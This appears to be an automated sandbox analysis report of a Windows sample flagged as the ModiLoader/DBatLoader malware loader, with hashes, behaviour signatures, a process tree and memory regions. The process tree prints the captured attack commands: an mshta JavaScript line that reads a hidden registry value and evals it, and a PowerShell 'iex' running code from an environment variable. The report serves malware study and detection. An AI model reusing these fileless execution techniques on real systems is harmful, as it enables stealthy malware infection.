Analysis

  • max time kernel
    140s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-01-2025 14:20

General

  • Target

    JaffaCakes118_7a293a3424fafdf4dff980409c703865.exe

  • Size

    484KB

  • MD5

    7a293a3424fafdf4dff980409c703865

  • SHA1

    80912b5bc9e0a3ef0c5f5722f6156cd94e84002e

  • SHA256

    de8c127be32107c0d77ed2011a4ec8ad2513246ddd51a26f54374eed1b83bf35

  • SHA512

    00907d6ac74be8c598ea213e2448156809a1c37c9486a5d7c2774d9e1ca5abc8d80a992438403e5e243da9add35c442503387dcdbd29374099b61e71521bca69

  • SSDEEP

    12288:K7/yuwDwie0KSc47ekijPiv9JNXjEV8NXCCK/ot6K39xW:KGuwsie071z1XjEUCCEo069xW

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7a293a3424fafdf4dff980409c703865.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7a293a3424fafdf4dff980409c703865.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4884
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:o7mXeNh5="cNMcgWC8Y";d7h3=new%20ActiveXObject("WScript.Shell");wtu0Omz="TTP5t";js5fm4=d7h3.RegRead("HKLM\\software\\Wow6432Node\\SxF555PufF\\QmkwSlH");Qe7QbEiVy7="4km7anUcf";eval(js5fm4);LFNWs9ZS="7Gb9y";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4560
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:dpgd
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4296

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lzjpbgi0.tce.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4296-17-0x0000000003290000-0x00000000032C6000-memory.dmp

    Filesize

    216KB

  • memory/4296-36-0x0000000007A70000-0x0000000007A8A000-memory.dmp

    Filesize

    104KB

  • memory/4296-35-0x0000000008120000-0x000000000879A000-memory.dmp

    Filesize

    6.5MB

  • memory/4296-33-0x0000000006AF0000-0x0000000006B3C000-memory.dmp

    Filesize

    304KB

  • memory/4296-32-0x00000000069B0000-0x00000000069CE000-memory.dmp

    Filesize

    120KB

  • memory/4296-31-0x0000000006560000-0x00000000068B4000-memory.dmp

    Filesize

    3.3MB

  • memory/4296-21-0x0000000005E50000-0x0000000005EB6000-memory.dmp

    Filesize

    408KB

  • memory/4296-20-0x0000000005D30000-0x0000000005D96000-memory.dmp

    Filesize

    408KB

  • memory/4296-19-0x0000000005C10000-0x0000000005C32000-memory.dmp

    Filesize

    136KB

  • memory/4296-18-0x0000000005EF0000-0x0000000006518000-memory.dmp

    Filesize

    6.2MB

  • memory/4884-7-0x0000000002350000-0x0000000002351000-memory.dmp

    Filesize

    4KB

  • memory/4884-4-0x0000000002350000-0x0000000002351000-memory.dmp

    Filesize

    4KB

  • memory/4884-11-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/4884-15-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/4884-14-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/4884-13-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/4884-10-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/4884-8-0x0000000000400000-0x000000000047E000-memory.dmp

    Filesize

    504KB

  • memory/4884-0-0x00000000025D0000-0x0000000002660000-memory.dmp

    Filesize

    576KB

  • memory/4884-12-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/4884-6-0x00000000025D0000-0x0000000002660000-memory.dmp

    Filesize

    576KB

  • memory/4884-5-0x0000000002350000-0x0000000002351000-memory.dmp

    Filesize

    4KB

  • memory/4884-2-0x0000000002350000-0x0000000002351000-memory.dmp

    Filesize

    4KB

  • memory/4884-34-0x0000000002350000-0x0000000002351000-memory.dmp

    Filesize

    4KB

  • memory/4884-3-0x0000000002350000-0x0000000002351000-memory.dmp

    Filesize

    4KB

  • memory/4884-1-0x0000000002350000-0x0000000002351000-memory.dmp

    Filesize

    4KB

  • memory/4884-37-0x0000000000400000-0x000000000047E000-memory.dmp

    Filesize

    504KB